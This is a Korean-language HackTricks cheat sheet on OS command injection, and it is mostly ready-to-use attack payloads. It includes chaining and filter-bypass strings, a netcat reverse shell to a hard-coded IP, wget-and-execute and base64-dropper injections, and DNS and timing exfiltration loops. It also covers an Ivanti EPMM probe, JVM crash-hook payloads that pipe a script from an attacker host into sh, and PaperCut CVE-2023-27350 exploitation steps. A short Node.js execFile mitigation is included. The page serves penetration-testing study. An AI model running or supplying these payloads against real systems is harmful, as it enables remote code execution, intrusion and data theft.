Command Injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

command Injection이란?

command injection는 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영체제 명령을 실행할 수 있도록 허용한다. 그 결과 애플리케이션과 그에 저장된 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기반 시스템에 대한 무단 접근 또는 제어 권한을 획득할 수 있게 한다.

Context

입력이 삽입되는 위치에 따라 명령을 실행하기 전에 따옴표로 감싸진 컨텍스트를 종료(" 또는 ' 사용)해야 할 수 있다.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

제한 Bypasses

만약 당신이 arbitrary commands inside a linux machine를 실행하려고 한다면, 이 **Bypasses:**를 읽어보는 것이 도움이 될 것입니다.

Bypass Linux Restrictions

예제

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

RewriteMap/CGI-style 스크립트에서의 Bash 산술 평가

RewriteMap 헬퍼는 bash로 작성된 경우가 있으며, 쿼리 파라미터를 전역 변수로 밀어넣고 이후 arithmetic contexts ([[ $a -gt $b ]], $((...)), let)에서 비교하는 경우가 있습니다. 산술 확장은 내용을 재토큰화하므로, 공격자가 제어하는 변수 이름이나 배열 참조가 두 번 확장되어 실행될 수 있습니다.

Pattern seen in Ivanti EPMM RewriteMap helpers:

  1. 파라미터가 전역으로 매핑됨 (stgStartTime, htheValue).
  2. 이후 검사:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. st=theValue를 전송하면 gStartTime이 문자열 theValue를 가리킵니다.
  2. h=gPath['sleep 5']를 전송하면 theValue가 배열 인덱스를 포함하게 되고; 산술 검사 중에 sleep 5가 실행됩니다(실제 페이로드로 교체).

Probe (~5s delay then 404 if vulnerable):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

참고:

  • 다른 접두사 아래에서 동일한 helper를 찾아보세요(예: /mifs/c/aftstore/fob/).
  • 산술 컨텍스트에서는 알 수 없는 토큰을 변수/배열 식별자(variable/array identifier)로 취급하므로, 이는 단순한 메타문자 필터를 우회합니다.

Parameters

다음은 code injection 및 유사한 RCE 취약점에 노출될 수 있는 상위 25개 파라미터입니다 (출처: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

데이터 추출: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

https://github.com/HoLyVieR/dnsbin의 도구를 기반으로 하며, dnsbin.zhack.ca에도 호스팅되어 있습니다

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS 기반 data exfiltration을 확인하기 위한 온라인 도구:

  • dnsbin.zhack.ca
  • pingb.in

필터링 우회

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript 백엔드를 감사할 때 종종 Node.js child_process API를 접하게 됩니다.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec()shell (/bin/sh -c)을 실행하므로, shell에 특별한 의미를 갖는 모든 문자(백틱, ;, &&, |, $(), …)는 사용자 입력이 문자열에 연결될 때 command injection을 발생시킵니다.

완화: execFile()(또는 spawn()shell 옵션 없이 사용)하고 각 인수를 별도의 배열 요소로 제공하여 shell이 개입하지 않도록 하세요:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

모든 injections가 shell metacharacters를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달할 경우(심지어 execve/execFile로 쉘을 사용하지 않을 때도), 많은 프로그램은 - 또는 --로 시작하는 인수를 옵션으로 해석합니다. 이를 통해 공격자는 쉘에 진입하지 않고도 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다.

Typical places where this appears:

  • Embedded web UIs/CGI handlers가 ping <user>, tcpdump -i <iface> -w <file>, curl <url> 등의 명령을 구성할 때.
  • Centralized CGI routers (예: /cgi-bin/<something>.cgi에서 topicurl=<handler> 같은 selector 파라미터 사용) — 여러 handler가 동일한 약한 validator를 재사용하는 경우.

What to try:

  • 다운스트림 툴에서 플래그로 해석되도록 -/--로 시작하는 값을 넣어보세요.
  • 동작을 변경하거나 파일을 쓰는 플래그를 악용해보세요. 예:
    • ping: -f/-c 100000 — 장치를 과부하시키기 위해 (DoS)
    • curl: -o /tmp/x — 임의 경로에 쓰기, -K <url> — 공격자 제어 config 로드
    • tcpdump: -G 1 -W 1 -z /path/script.sh — unsafe wrappers에서 post-rotate 실행 달성
  • 프로그램이 -- end-of-options를 지원하면, 잘못된 위치에 --를 선행하는 단순한 완화책을 우회해 보세요.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM 진단 콜백을 통한 보장된 exec

Any primitive that lets you inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode:

  1. 메타스페이스나 힙을 축소하여 결정론적 충돌을 강제: -XX:MaxMetaspaceSize=16m (또는 아주 작은 -Xmx). 이렇게 하면 초기 부트스트랩 중에도 OutOfMemoryError가 보장됩니다.
  2. 오류 훅을 연결: -XX:OnOutOfMemoryError="<cmd>" 또는 -XX:OnError="<cmd>"는 JVM이 비정상 종료될 때마다 임의의 OS 명령을 실행합니다.
  3. 선택적으로 -XX:+CrashOnOutOfMemoryError를 추가하여 복구 시도를 방지하고 payload를 일회성으로 유지할 수 있습니다.

예제 payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • 취약한 NG/MF 빌드(예: 22.0.5 Build 63914)는 /app?service=page/SetupCompleted를 노출합니다; 해당 페이지를 열고 Login을 클릭하면 자격 증명 없이 유효한 JSESSIONID가 반환됩니다 (설정 흐름에서의 인증 우회).
  • Options → Config Editor에서 print-and-device.script.enabled=Yprint.script.sandboxed=N로 설정하여 프린터 스크립팅을 활성화하고 샌드박스를 비활성화합니다.
  • 프린터의 Scripting 탭에서 스크립트를 활성화하고 검증 오류를 피하기 위해 printJobHook을 정의된 상태로 유지하되, 페이로드를 함수 outside에 두어 Apply를 클릭하면 즉시 실행되도록 합니다(프린트 작업 불필요):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • 콜백을 reverse shell로 교체하세요; UI/PoC가 pipes/redirects를 처리하지 못하면, payload를 한 번의 명령으로 stage하고 두 번째 요청에서 exec하세요.
  • Horizon3의 CVE-2023-27350.py는 auth bypass, config flips, command execution, 및 rollback을 자동화합니다 — 서비스가 내부에서만 접근 가능할 때는 업스트림 프록시(예: proxychains → Squid)를 통해 실행하세요.

브루트포스 탐지 목록

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기